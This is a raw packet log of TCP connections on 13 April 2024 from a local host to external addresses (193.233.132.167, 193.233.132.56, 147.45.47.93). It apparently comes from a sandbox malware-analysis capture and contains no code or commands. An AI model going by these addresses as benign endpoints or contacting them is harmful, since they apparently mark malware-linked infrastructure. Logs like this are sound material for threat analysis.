Apr 13, 2024 20:21:24.094885111 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.094911098 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.094914913 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.094949961 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.094988108 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.095000029 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.095025063 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.095046997 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.095062971 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.095077038 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.095102072 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.095114946 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.095139980 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.095176935 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.095192909 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.095216036 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.095222950 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.095254898 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.095261097 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.095293999 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.095308065 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.095331907 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.095369101 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.095381975 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.095407009 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.095412970 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.095446110 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.095455885 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.095484018 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.095523119 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.095534086 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.095560074 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.095566988 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.095597982 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.095608950 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.095638990 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.095679998 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.095689058 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.095716953 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.095720053 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.095756054 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.095793962 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.095808029 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.095833063 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.095841885 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.095870972 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.095882893 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.095911026 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.095916986 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.095947981 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.095984936 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.095994949 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.096024036 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.096025944 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.096061945 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.096098900 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.096120119 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.096137047 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.096155882 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.096174955 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.096195936 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.096213102 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.096226931 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.096265078 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.096302032 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.096312046 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.096339941 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.096353054 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.096378088 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.096381903 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.096415997 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.096457005 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.096468925 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.096496105 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.096502066 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.096535921 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.096546888 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.096575022 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.096626043 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.394056082 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.397516012 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.410821915 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.410886049 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.410924911 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.410954952 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.423016071 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.423082113 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.423094988 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.423134089 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.433511972 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.433576107 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.433604002 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.433630943 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.439064026 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.439125061 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.439126015 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.439184904 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.440778017 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.440845966 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.440885067 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.440926075 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.440926075 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.440965891 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.440973997 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.441005945 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.441020966 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.441045046 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.441060066 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.441086054 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.441104889 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.441124916 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.441142082 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.441165924 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.441175938 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.441205025 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.441222906 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.441245079 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.441282988 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.441292048 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.441313982 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.441322088 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.441338062 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.441360950 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.441375971 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.441401005 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.441426992 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.441440105 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.441447973 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.441482067 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.441493034 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.441520929 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.441557884 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.441576004 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.441596985 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.441608906 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.441636086 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.441639900 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.441675901 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.441713095 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.441728115 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.441750050 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.441761971 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.441788912 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.441793919 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.441827059 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.441864014 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.441874027 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.441901922 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.441910028 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.441939116 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.441950083 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.441977978 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.441986084 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.442018986 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.442028046 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.442058086 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.442095041 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.442105055 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.442133904 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.442143917 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.442173958 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.442178011 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.442212105 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.442249060 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.442255974 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.442286968 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.442300081 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.442325115 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.442329884 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.442363977 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.442400932 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.442411900 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.442437887 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.442442894 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.442480087 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.442516088 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.442531109 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.442553997 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.442569017 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.442593098 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.442604065 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.442631006 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.442668915 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.442679882 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.442707062 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.442712069 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.442744970 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.442754984 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.442784071 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.442826033 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.442836046 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.442863941 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.442867994 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.442903042 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.442939997 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.442955971 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.442977905 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.442982912 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.443015099 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.443032980 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.443053961 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.443065882 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.443092108 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.443104982 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.443130016 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.443164110 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.443166018 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.443191051 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.443202972 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.443213940 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.443242073 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.443279982 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.443291903 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.443317890 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.443317890 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.443356037 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.443363905 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.443393946 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.443403006 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.443434000 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.443471909 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.443481922 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.443510056 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.443521976 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.443551064 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.443553925 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.443588972 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.443625927 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.443643093 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.443664074 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.443684101 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.443701982 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.443712950 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.443744898 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.443758011 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.443783998 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.443799019 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.443823099 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.443852901 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.443861961 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.443876982 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.443902016 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.443907976 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.443939924 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.443947077 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.443978071 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.444014072 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.444025040 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.444051027 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.444056988 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.444089890 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.444096088 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.444128036 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.444165945 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.444180012 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.444202900 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.444212914 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.444257021 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.444269896 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.444308043 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.444318056 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.444346905 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.444359064 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.444385052 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.444395065 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.444425106 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.444474936 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.801090956 CEST	49750	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:25.118588924 CEST	58709	49750	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:25.121618986 CEST	49750	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:25.143532991 CEST	49750	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:25.205058098 CEST	49748	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:25.205475092 CEST	49751	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:25.439397097 CEST	58709	49750	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:25.497248888 CEST	49750	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:25.512005091 CEST	58709	49750	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:25.545577049 CEST	80	49748	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:25.545788050 CEST	49748	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:25.549424887 CEST	80	49751	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:25.549515963 CEST	49751	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:25.549710035 CEST	49751	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:25.892873049 CEST	80	49751	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:25.899302006 CEST	80	49751	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:25.899405956 CEST	49751	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:25.900681973 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:25.901215076 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:26.243408918 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:26.243498087 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:26.245927095 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:26.246058941 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:26.246165991 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:26.591026068 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:26.591094017 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:26.591133118 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:26.591171980 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:26.591211081 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:26.591248035 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:26.591285944 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:26.591324091 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:26.591362953 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:26.591401100 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:26.591439962 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:26.591486931 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:26.591487885 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:26.591487885 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:26.591487885 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:26.591487885 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:26.591487885 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:26.591487885 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:26.591487885 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:26.591587067 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:26.591587067 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:26.936182022 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:26.936209917 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:26.936269045 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:26.936264038 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:26.936289072 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:26.936306000 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:26.936325073 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:26.936337948 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:26.936341047 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:26.936337948 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:26.936359882 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:26.936373949 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:26.936373949 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:26.936378956 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:26.936395884 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:26.936413050 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:26.936424017 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:26.936430931 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:26.936443090 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:26.936448097 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:26.936465979 CEST	80	49752	193.233.132.167	192.168.2.4
